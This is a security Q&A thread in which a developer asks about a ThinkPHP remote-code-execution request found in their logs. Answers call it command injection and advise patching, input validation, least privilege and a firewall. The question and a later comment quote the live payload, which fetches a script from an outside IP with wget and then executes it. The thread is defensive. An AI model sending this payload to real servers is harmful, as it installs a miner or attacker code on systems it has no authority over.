36

I have very little experience with security (still learning) however was combing through my logs and I noticed the following request:

"GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=wget%20http://86.105.49.215/a.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a; HTTP/1.1" 200 16684 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

Now first of all this made no sense to me with the exception of chmod 777 which tells me someone was trying to change my file permissions.

My question is what kind of attack is this and what steps can I take to prevent it?

Anders
  • 64,406
  • 24
  • 178
  • 215
user3718908
  • 423
  • 4
  • 6
  • 33
    Specifically, the attacker is targetting ThinkPHP installations that suffer from the remote-code-execution vulnerability documented [here](https://securitynews.sonicwall.com/xmlpost/thinkphp-remote-code-execution-rce-bug-is-actively-being-exploited/). A security update has been released by ThinkPHP. Keep an eye on the inventory of software that you have exposed to the internet, and keep an eye out for vulerabilities found in these packages. In short, stay up to date. The attackers are usually exploiting old versions found to be vulerable. – spender Feb 28 '19 at 11:45
  • Are you 1) a developer or 2) a systems engineer / webmaster? Do you develop or run applications? – usr-local-ΕΨΗΕΛΩΝ Feb 28 '19 at 17:52
  • I am a developer. – user3718908 Feb 28 '19 at 18:28
  • 3
    Applications are immune to these attacks by default - you have to actively screw up in order for the attack to work. – user253751 Feb 28 '19 at 21:13
  • 1
    So if you're asking how to avoid *this* attack - unless you're running ThinkPHP, you're already not vulnerable. If you're asking how to avoid similar attacks on your own software - see the information linked by Soufiane. – user253751 Feb 28 '19 at 21:21
  • Besides prevention, I would inform law enforcement of the IP it came from, and if you can determine the IP is not owned by the sleazeball, tell their admin what their user is up to. – WGroleau Mar 01 '19 at 02:04
  • 1
    @immibis It may be worth noting that "actively screwing up" is fairly common with PHP software, at least historically. PHP has a history of making it hard to do the right thing and easy to do the wrong thing security wise (not just in command injection attacks). In my opinion, this is a good reason to avoid PHP if security is a priority (both writing in it and using software written in it), which it should be. – jpmc26 Mar 01 '19 at 14:48
  • @WGroleau: It's probably not worth it. This sort of thing is the background radiation of the internet and is (probably) generated by a botnet anyway. Nobody cares without more specific evidence. – Kevin Mar 01 '19 at 22:24
  • @jpmc26 Yes indeed, but the question seems to think it will *automatically* run a command if nothing is taken to prevent it. Actually, it won't do anything unless something specifically causes it to do something. – user253751 Mar 01 '19 at 23:05
  • @spender please refrain from posting answers as comments, as this bypasses quality control features such as downvoting and accepting. You also deprive yourself of those sweet sweet answer points. – Adam Barnes Mar 02 '19 at 04:17
  • Reporting may likely accomplish nothing, but if the admins of the host being used are able to, they will want to take steps to avoid legal hassles or revenge attacks. Unless they _are_ the bad guys. – WGroleau Mar 04 '19 at 00:51

2 Answers2

51

It's a command injection attack in which :

the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.

There are many strategies to mitigate or to avoid this kind of attacks like:

  • Do not “exec” out to the Operating System if it can be avoided.
  • Validate untrusted inputs.(Character set,Minimum and maximum length,Match to a Regular Expression Pattern...)
  • Neutralize meta-characters that have meaning in the target OS command-line.
  • Implement “Least Privilege”

You can find somes here and have a look at this cheatsheet from OWASP for further details.

Soufiane Tahiri
  • 2,667
  • 12
  • 27
  • The easiest and maybe most important step from the first link is using 'least privilege'. Reducing the power of the application will blunt these kinds of attacks and many others. – JimmyJames Feb 28 '19 at 21:47
17

As stated before, it's a command injection attack that attempts to download a .sh script, grant it permissions to run and then execute it. The script in this case is a bitcoin miner.

The recommendations in the OWASP guide that Soufiane should be followed to ensure your web application is secure, but for an extra layer of security a Web Application Firewall can be used which will block requests like these before they reach your server process.

Veyf
  • 171
  • 2
  • 7
    If StackExchange had been using such a firewall it might not have been possible to ask the question in the first place. – kasperd Mar 01 '19 at 17:31
  • No way - StackExchange actually *does* have such a firewall, just try it out: https://security.stackexchange.com/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=wget%2520http://86.105.49.215/a.sh%2520-O%2520/tmp/a;%2520chmod%25200777%2520/tmp/a;%2520/tmp/a (to be fair though, it triggers on the index.php part and not on the querystring) – Yogu Mar 07 '19 at 22:21